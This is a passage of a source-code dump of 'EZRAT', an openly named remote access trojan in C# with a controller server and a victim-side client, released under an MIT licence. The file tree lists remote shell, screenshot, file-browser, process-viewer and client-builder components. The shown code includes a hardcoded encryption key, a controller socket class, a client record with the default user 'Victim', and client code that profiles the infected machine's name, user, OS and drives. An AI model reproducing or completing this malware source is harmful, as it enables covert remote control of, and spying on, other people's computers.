├── EZRATServer ├── res │ ├── UAC.png │ ├── chat.ico │ ├── icon.ico │ ├── icon.ico~ │ ├── shell.ico │ ├── sound.png │ ├── up-50.png │ ├── Banner.kra │ ├── Banner.png │ ├── Form_64.png │ ├── build_64.ico │ ├── build_64.png │ ├── chat-64.png │ ├── close_64.png │ ├── folder.ico │ ├── ligth_64.png │ ├── load_64.png │ ├── locked.png │ ├── message.ico │ ├── process.ico │ ├── process.ico~ │ ├── restart.png │ ├── settings.ico │ ├── shell_48.png │ ├── shutdown.png │ ├── circle_80.png │ ├── folder-64.png │ ├── hacker_64.png │ ├── load.icon.ico │ ├── monitor_64.png │ ├── process_64.png │ ├── screenshot.ico │ ├── virus_512.png │ ├── screenshot_64.png │ ├── tower-pc_512.png │ ├── screenShot_100.png │ ├── clientControl_64.png │ └── computer_settings_64.png ├── res.H12964.kra ├── App.config ├── Properties │ ├── Settings.settings │ ├── Settings.Designer.cs │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── Program.cs ├── Utils │ ├── Constantes.cs │ ├── ToolBox.cs │ ├── ClientData.cs │ ├── ImageContextMenu.cs │ └── ImageContextMenu.resx ├── Forms │ ├── SystemDetails.cs │ ├── NameUpload.cs │ ├── Starting.cs │ ├── RenameFile.cs │ ├── MessageBoxEditor.cs │ ├── ProcessViewer.cs │ ├── ScreenShotViewer.cs │ ├── ShellCommand.cs │ ├── SystemDetails.Designer.cs │ ├── NameUpload.Designer.cs │ ├── RenameFile.Designer.cs │ ├── Starting.Designer.cs │ ├── Chat.cs │ ├── ScreenShotViewer.Designer.cs │ ├── ShellCommand.Designer.cs │ ├── ProcessViewer.Designer.cs │ ├── Chat.Designer.cs │ ├── MessageBoxEditor.Designer.cs │ ├── Starting.resx │ ├── NameUpload.resx │ ├── RenameFile.resx │ ├── ClientBuilder.cs │ └── FileBrowser.cs ├── Network │ └── RATClient.cs └── EZRATServer.csproj ├── .gitignore ├── App.config ├── EZRATClient ├── App.config ├── Utils │ ├── ToolBox.cs │ ├── SystemInfo.cs │ ├── Constantes.cs │ ├── Screen.cs │ └── SystemInfoDetails.cs ├── Properties │ └── AssemblyInfo.cs ├── Forms │ ├── Chat.cs │ ├── Chat.Designer.cs │ └── Chat.resx ├── EZRATClient.csproj └── Core │ ├── CommandExecutor.cs │ └── CommandParser.cs ├── Properties ├── Settings.settings ├── Settings.Designer.cs ├── AssemblyInfo.cs ├── Resources.Designer.cs └── Resources.resx ├── Program.cs ├── LICENSE.md ├── EZRAT.sln ├── README.md └── EZRAT.csproj /EZRATServer/res/UAC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/UAC.png -------------------------------------------------------------------------------- /EZRATServer/res/chat.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/chat.ico -------------------------------------------------------------------------------- /EZRATServer/res/icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/icon.ico -------------------------------------------------------------------------------- /EZRATServer/res/icon.ico~: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/icon.ico~ -------------------------------------------------------------------------------- /EZRATServer/res/shell.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/shell.ico -------------------------------------------------------------------------------- /EZRATServer/res/sound.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/sound.png -------------------------------------------------------------------------------- /EZRATServer/res/up-50.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/up-50.png -------------------------------------------------------------------------------- /EZRATServer/res.H12964.kra: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res.H12964.kra -------------------------------------------------------------------------------- /EZRATServer/res/Banner.kra: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/Banner.kra -------------------------------------------------------------------------------- /EZRATServer/res/Banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/Banner.png -------------------------------------------------------------------------------- /EZRATServer/res/Form_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/Form_64.png -------------------------------------------------------------------------------- /EZRATServer/res/build_64.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/build_64.ico -------------------------------------------------------------------------------- /EZRATServer/res/build_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/build_64.png -------------------------------------------------------------------------------- /EZRATServer/res/chat-64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/chat-64.png -------------------------------------------------------------------------------- /EZRATServer/res/close_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/close_64.png -------------------------------------------------------------------------------- /EZRATServer/res/folder.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/folder.ico -------------------------------------------------------------------------------- /EZRATServer/res/ligth_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/ligth_64.png -------------------------------------------------------------------------------- /EZRATServer/res/load_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/load_64.png -------------------------------------------------------------------------------- /EZRATServer/res/locked.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/locked.png -------------------------------------------------------------------------------- /EZRATServer/res/message.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/message.ico -------------------------------------------------------------------------------- /EZRATServer/res/process.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/process.ico -------------------------------------------------------------------------------- /EZRATServer/res/process.ico~: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/process.ico~ -------------------------------------------------------------------------------- /EZRATServer/res/restart.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/restart.png -------------------------------------------------------------------------------- /EZRATServer/res/settings.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/settings.ico -------------------------------------------------------------------------------- /EZRATServer/res/shell_48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/shell_48.png -------------------------------------------------------------------------------- /EZRATServer/res/shutdown.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/shutdown.png -------------------------------------------------------------------------------- /EZRATServer/res/circle_80.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/circle_80.png -------------------------------------------------------------------------------- /EZRATServer/res/folder-64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/folder-64.png -------------------------------------------------------------------------------- /EZRATServer/res/hacker_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/hacker_64.png -------------------------------------------------------------------------------- /EZRATServer/res/load.icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/load.icon.ico -------------------------------------------------------------------------------- /EZRATServer/res/monitor_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/monitor_64.png -------------------------------------------------------------------------------- /EZRATServer/res/process_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/process_64.png -------------------------------------------------------------------------------- /EZRATServer/res/screenshot.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/screenshot.ico -------------------------------------------------------------------------------- /EZRATServer/res/virus_512.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/virus_512.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vs/ 2 | EZRATServer/bin/ 3 | EZRATServer/obj/ 4 | EZRATClient/bin/ 5 | EZRATClient/obj/ 6 | GitImages/ 7 | -------------------------------------------------------------------------------- /EZRATServer/res/screenshot_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/screenshot_64.png -------------------------------------------------------------------------------- /EZRATServer/res/tower-pc_512.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/tower-pc_512.png -------------------------------------------------------------------------------- /EZRATServer/res/screenShot_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/screenShot_100.png -------------------------------------------------------------------------------- /EZRATServer/res/clientControl_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/clientControl_64.png -------------------------------------------------------------------------------- /EZRATServer/res/computer_settings_64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exo-poulpe/EZRAT/HEAD/EZRATServer/res/computer_settings_64.png -------------------------------------------------------------------------------- /App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /EZRATClient/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /EZRATServer/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /EZRATServer/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace EZRAT 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// Point d'entrée principal de l'application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new Server()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /EZRATServer/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | using EZRATServer; 7 | 8 | namespace EZRATServer 9 | { 10 | static class Program 11 | { 12 | /// 13 | /// Point d'entrée principal de l'application. 14 | /// 15 | [STAThread] 16 | static void Main() 17 | { 18 | Application.EnableVisualStyles(); 19 | Application.SetCompatibleTextRenderingDefault(false); 20 | Application.Run(new Server()); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /EZRATServer/Utils/Constantes.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace EZRATServer.Utils 7 | { 8 | public static class Constantes 9 | { 10 | private static string _encryptKey = "POULPE212123542345235"; 11 | private static string _separator = "|"; 12 | private static string _special_Separator = "¦"; 13 | 14 | public static string EncryptKey { get => _encryptKey;} 15 | public static string Separator { get => _separator;} 16 | public static char SeparatorChar { get => _separator.ToCharArray()[0]; } 17 | public static string Special_Separator { get => _special_Separator; } 18 | public static char Special_SeparatorChar { get => _special_Separator.ToCharArray()[0]; } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /EZRATServer/Forms/SystemDetails.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace EZRATServer.Forms 11 | { 12 | public partial class SystemDetails : Form 13 | { 14 | public SystemDetails() 15 | { 16 | InitializeComponent(); 17 | } 18 | 19 | public SystemDetails(string[] data) 20 | { 21 | InitializeComponent(); 22 | this.UpdateData(data); 23 | } 24 | 25 | public void UpdateData(string[] data) 26 | { 27 | for (int i = 0; i < data.Length; i++) 28 | { 29 | this.lstInfos.Items.Add(data[i]); 30 | } 31 | } 32 | 33 | public void Clean() 34 | { 35 | this.lstInfos.Items.Clear(); 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /EZRATServer/Forms/NameUpload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace EZRATServer.Forms 11 | { 12 | public partial class NameUpload : Form 13 | { 14 | public NameUpload(string oldName) 15 | { 16 | InitializeComponent(); 17 | this.btnOk.Click += Validate; 18 | this.tbxName.Text = oldName.Substring(oldName.LastIndexOf("\\") + 1); 19 | } 20 | 21 | public string Dialog() 22 | { 23 | string result = string.Empty; 24 | if(this.ShowDialog() == DialogResult.OK) 25 | { 26 | result = this.tbxName.Text; 27 | } 28 | return result; 29 | } 30 | 31 | private void Validate(object sender,EventArgs e) 32 | { 33 | this.DialogResult = DialogResult.OK; 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /EZRATServer/Forms/Starting.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using System.Windows.Forms; 10 | 11 | namespace EZRATServer.Forms 12 | { 13 | public partial class Starting : Form 14 | { 15 | int _port = 0; 16 | public Starting() 17 | { 18 | InitializeComponent(); 19 | this.btnOK.Click += BtnOK; 20 | this.tbxPort.KeyPress += DetectEnter; 21 | } 22 | 23 | public int Port { get => _port; set => _port = value; } 24 | 25 | private void BtnOK(object sender,EventArgs e) 26 | { 27 | this.Port = Convert.ToInt32(this.tbxPort.Text); 28 | this.Close(); 29 | } 30 | private void DetectEnter(object sender,KeyPressEventArgs key) 31 | { 32 | if ((Keys)key.KeyChar == Keys.Enter) 33 | { 34 | this.btnOK.PerformClick(); 35 | } 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Exo-poulpe 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /EZRATServer/Forms/RenameFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | using System.Windows.Forms; 10 | 11 | namespace EZRATServer.Forms 12 | { 13 | public partial class RenameFile : Form 14 | { 15 | private string _fileName; 16 | private string _pathFull; 17 | public string FileName 18 | { 19 | get { return _fileName; } 20 | set { _fileName = value; } 21 | } 22 | 23 | public RenameFile(string path) 24 | { 25 | InitializeComponent(); 26 | _pathFull = path; 27 | this.tbxName.Text = path.Substring(path.LastIndexOf('\\') + 1); 28 | this.btnValidate.Click += ValidateName; 29 | } 30 | 31 | private void ValidateName(object sender,EventArgs e) 32 | { 33 | this.FileName = _pathFull.Substring(0, _pathFull.LastIndexOf('\\') + 1) + tbxName.Text; 34 | this.DialogResult = DialogResult.OK; 35 | this.Close(); 36 | } 37 | 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace EZRAT.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /EZRATServer/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Ce code a été généré par un outil. 4 | // Version du runtime :4.0.30319.42000 5 | // 6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si 7 | // le code est régénéré. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace EZRATServer.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "16.3.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /EZRATServer/Network/RATClient.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.Net.Sockets; 7 | using System.Net; 8 | using EZRATServer.Utils; 9 | 10 | namespace EZRATServer.Network 11 | { 12 | 13 | class RATClient : Socket 14 | { 15 | 16 | 17 | public RATClient(AddressFamily addressFamily, SocketType socketType, ProtocolType protocolType) : base(addressFamily, socketType, protocolType) 18 | { 19 | } 20 | 21 | public RATClient(SocketInformation socketInformation) : base(socketInformation) 22 | { 23 | } 24 | 25 | 26 | public bool Connected 27 | { 28 | get { return base.Connected; } 29 | } 30 | 31 | public void SendData(string data) 32 | { 33 | byte[] text = Encoding.Default.GetBytes(data); 34 | SendData(text); 35 | } 36 | public void SendData(byte[] data) 37 | { 38 | SEND: 39 | if (data != null && base.Connected) 40 | { 41 | base.Send(data); 42 | } 43 | else if (!base.Connected) 44 | { 45 | base.Bind(this.RemoteEndPoint); 46 | goto SEND; 47 | } 48 | } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /EZRATServer/Utils/ToolBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Drawing; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading; 8 | using EZRATServer.Forms; 9 | 10 | namespace EZRATServer.Utils 11 | { 12 | public static class ToolBox 13 | { 14 | public static string ReduceByteSize(string value) 15 | { 16 | int KB = 1024; 17 | int MB = KB * KB; 18 | int GB = MB * KB; 19 | int TB = GB * KB; 20 | 21 | double tmp = Convert.ToDouble(value); 22 | double result = 0; 23 | string ResultChar = string.Empty; 24 | if (tmp < KB) 25 | { 26 | result = tmp; 27 | ResultChar = "B"; 28 | } 29 | else if (tmp >= KB && tmp < MB) 30 | { 31 | result = tmp / KB; 32 | ResultChar = "KB"; 33 | } 34 | else if (tmp >= MB && tmp < GB) 35 | { 36 | result = tmp / MB; 37 | ResultChar = "MB"; 38 | } 39 | else if (tmp >= GB && tmp < TB) 40 | { 41 | result = (int)tmp / GB; 42 | ResultChar = "GB"; 43 | } 44 | return $"{result.ToString("0.")} {ResultChar}"; 45 | } 46 | 47 | 48 | 49 | 50 | 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /EZRATClient/Utils/ToolBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace EZRATClient.Utils 4 | { 5 | public static class ToolBox 6 | { 7 | 8 | public static string ReduceByteSize(string value) 9 | { 10 | double KB = 1024; 11 | double MB = KB * KB; 12 | double GB = MB * KB; 13 | double TB = GB * KB; 14 | double PB = TB * KB; 15 | double ZB = PB * KB; 16 | 17 | double tmp = Convert.ToDouble(value); 18 | double result = 0; 19 | string ResultChar = string.Empty; 20 | if (tmp < KB) 21 | { 22 | result = tmp; 23 | ResultChar = "B"; 24 | } 25 | else if (tmp >= KB && tmp < MB) 26 | { 27 | result = tmp / KB; 28 | ResultChar = "KB"; 29 | } 30 | else if (tmp >= MB && tmp < GB) 31 | { 32 | result = tmp / MB; 33 | ResultChar = "MB"; 34 | } 35 | else if (tmp >= GB && tmp < TB) 36 | { 37 | result = tmp / GB; 38 | ResultChar = "GB"; 39 | } else if(tmp >= TB && tmp < PB ) 40 | { 41 | result = tmp / GB; 42 | ResultChar = "GB"; 43 | } 44 | return $"{result.ToString("0.")} {ResultChar}"; 45 | } 46 | 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /EZRATServer/Utils/ClientData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace EZRATServer.Utils 8 | { 9 | class ClientData 10 | { 11 | // lstIP, lstName, lstUser, lstWindows, lstPing 12 | private int _row = 0; 13 | private string _ip = string.Empty; 14 | private string _name = string.Empty; 15 | private string _user = string.Empty; 16 | private string _windows = string.Empty; 17 | private string _ping = string.Empty; 18 | private string _version = string.Empty; 19 | 20 | public int Id { get => _row; set => _row = value; } 21 | public string Ip { get => _ip; set => _ip = value; } 22 | public string Name { get => _name; set => _name = value; } 23 | public string User { get => _user; set => _user = value; } 24 | public string Windows { get => _windows; set => _windows = value; } 25 | public string Version { get => _version; set => _version = value; } 26 | 27 | public ClientData(int id,string ip = "0.0.0.0",string name = "Client",string user = "Victim",string window = "Windows 10",string version = "0.1.0.0") 28 | { 29 | this.Id = id; 30 | this.Ip = ip; 31 | this.Name = name; 32 | this.User = user; 33 | this.Windows = window; 34 | this.Version = version; 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /EZRATClient/Utils/SystemInfo.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Net; 6 | using System.Net.Sockets; 7 | using System.Text; 8 | using System.Threading.Tasks; 9 | 10 | namespace EZRATClient.Utils 11 | { 12 | static class SystemInfo 13 | { 14 | 15 | public static string GetLocalIPAddress() 16 | { 17 | string hostName = Dns.GetHostName(); // Retrive the Name of HOST 18 | // Get the IP 19 | IPAddress[] tmp = Dns.GetHostByName(hostName).AddressList; 20 | return tmp[tmp.Length - 1].ToString(); 21 | throw new Exception("No network adapters with an IPv4 address in the system!"); 22 | } 23 | 24 | 25 | public static string GetWindowsVersion() 26 | { 27 | var key = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion"; 28 | return Registry.LocalMachine.OpenSubKey(key).GetValue("ProductName").ToString(); 29 | } 30 | 31 | public static string GetMachineName() 32 | { 33 | return Environment.MachineName; 34 | } 35 | 36 | public static string GetUserName() 37 | { 38 | return System.Security.Principal.WindowsIdentity.GetCurrent().Name; 39 | } 40 | 41 | public static string[] GetDrives() 42 | { 43 | string[] result = Environment.GetLogicalDrives(); 44 | return result; 45 | } 46 | 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /EZRATServer/Forms/MessageBoxEditor.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Linq; 7 | using System.Text; 8 | using System.Windows.Forms; 9 | 10 | namespace EZRATServer 11 | { 12 | public partial class MessageBoxEditor : Form 13 | { 14 | Icon[] syslst = { SystemIcons.Information, SystemIcons.Error, SystemIcons.Question }; 15 | public MessageBoxEditor() 16 | { 17 | InitializeComponent(); 18 | this.cmbIcon.Items.AddRange(new string[] { "Informations","Error","Question" }); 19 | this.cmbIcon.SelectedIndexChanged += LoadIcon; 20 | this.cmbIcon.SelectedIndex = 0; 21 | this.btnValidate.Click += Validate; 22 | } 23 | 24 | public string Dialog() 25 | { 26 | if (this.ShowDialog() == DialogResult.OK) 27 | { 28 | return $"{this.tbxTitle.Text};{this.rtbText.Text};{this.cmbIcon.SelectedIndex}"; 29 | } 30 | else 31 | { 32 | return string.Empty; 33 | } 34 | } 35 | 36 | private void LoadIcon(object sender, EventArgs e) 37 | { 38 | this.pnlIcon.BackgroundImage = Bitmap.FromHicon(syslst[this.cmbIcon.SelectedIndex].Handle); 39 | } 40 | 41 | private void Validate(object sender, EventArgs e) 42 | { 43 | this.DialogResult = DialogResult.OK; 44 | } 45 | 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // Les informations générales relatives à un assembly dépendent de 6 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations 7 | // associées à un assembly. 8 | [assembly: AssemblyTitle("EZRAT")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("EZRAT")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly 18 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de 19 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type. 20 | [assembly: ComVisible(false)] 21 | 22 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM 23 | [assembly: Guid("ee60b0d1-7432-45a8-b250-d2455bbf4e6c")] 24 | 25 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes : 26 | // 27 | // Version principale 28 | // Version secondaire 29 | // Numéro de build 30 | // Révision 31 | // 32 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut 33 | // en utilisant '*', comme indiqué ci-dessous : 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /EZRATClient/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // Les informations générales relatives à un assembly dépendent de 6 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations 7 | // associées à un assembly. 8 | [assembly: AssemblyTitle("EZRATClient")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("EZRATClient")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly 18 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de 19 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type. 20 | [assembly: ComVisible(false)] 21 | 22 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM 23 | 